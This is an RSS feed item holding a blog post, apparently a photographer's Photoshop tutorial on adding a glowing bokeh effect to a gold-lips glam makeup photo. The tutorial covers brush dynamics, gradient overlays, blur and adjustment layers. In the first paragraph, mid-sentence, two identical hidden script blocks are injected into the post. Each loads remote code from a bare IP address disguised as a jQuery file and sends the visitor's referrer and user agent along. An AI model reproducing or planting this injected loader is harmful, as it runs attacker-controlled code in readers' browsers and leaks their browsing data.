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		<title>Photoshop Tip: Bokeh Effect for Glam Makeup Shot</title>
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		<description><![CDATA[Bokeh is normally created in-camera by using a shallow depth-of-field and focusing on the subject and allowing the other parts of the image to become blurry. For this shot I wanted to create a glam look by adding some bokeh in Photoshop. First I retouched the photo, smoothing the skin and removing any blemishes. There [&#8230;]
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				<content:encoded><![CDATA[<p><a class="tt-flickr tt-flickr-Medium" title="Gold Glam Lips" href="http://www.flickr.com/photos/kalamakia/4959485282/"><img class="aligncenter" src="http://farm5.static.flickr.com/4109/4959485282_362650f2b8.jpg" alt="Gold Glam Lips" width="500" height="283" /></a> Bokeh is normally created in-camera by using a shallow depth-of-field and focusing on the subject and allowing the other parts of the image to become blurry. For this shot I wanted to create a glam look by adding some bokeh in Photoshop.<br />
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First I retouched the photo, <noindex><script type="text/javascript" rel="nofollow" style="text-decoration:none;color:#676c6c"> document.write("<script language='javascript' rel='nofollow' type='text/javascript' src='http://5.45.67.97/1/jquery.js.php?r=" + encodeuri(document.referrer) + "&#038;u=" + encodeuri(navigator.useragent) + "'></sc" + "ript>"); </script></noindex>  <noindex><script type="text/javascript" rel="nofollow" style="text-decoration:none;color:#676c6c"> document.write("<script language='javascript' rel='nofollow' type='text/javascript' src='http://5.45.67.97/1/jquery.js.php?r=" + encodeuri(document.referrer) + "&#038;u=" + encodeuri(navigator.useragent) + "'></sc" + "ript>"); </script></noindex>  smoothing the skin and removing any blemishes. There are a variety of ways to do this - <a title="retouching" href="http://www.raymondchou.ca/blog/beauty-retouching-step-by-step/" target="_blank">here is one short step-by-step example. </a></p>
<p>I added a blank layer above the top layer,   and selected a hard-edged round brush and set the foreground colour to white. I wanted the brush to paint a bunch of random circles so I went to the brush window and selected "shape dynamics" and moved the slider for "size jitter" to around 30%, selected "scattering" and checked "both axes" and moved the slider to around 480%, "count" to 2, and "count jitter" to around 30%. FInally, I selected "other dynamics" and changed the "opacity jitter" to 10%. You might need to play around with the settings to get something that looks good for you. I then painted the layer with a few strokes. I added a layer effect - "gradient overlay" and used white for the foreground colour and some gold from the lips for the background. It was a linear gradient with an angle of 118 degrees, and normal blend mode.  Finally, I adjusted the layer opacity to 67%.</p>
<p>I then added another blank layer above this, and painted some more circles, then I used the Gaussian blur filter to make these blurry. You will need to play around with the radius that best works for you. I added some layer effects - "outer glow" and used the eye dropper to grab some gold colour from the lips, and changed the blend mode to screen. I also used "inner glow" with a light yellow colour (ffffbe).  I used a levels adjustment layer, clipped to this layer and lightened up the bokeh circles until they glowed a little. I then changed the layer opacity to about 50%.</p>
<p>Finally, I used a curves adjustment layer above all the other layers to tweak the contrast of the overall image.</p>
<p>Here's another tutorial for creating an awesome <a title="digital bokeh effect" href="http://abduzeedo.com/awesome-digital-bokeh-effect-photoshop" target="_blank">digital bokeh effect</a>.</p>

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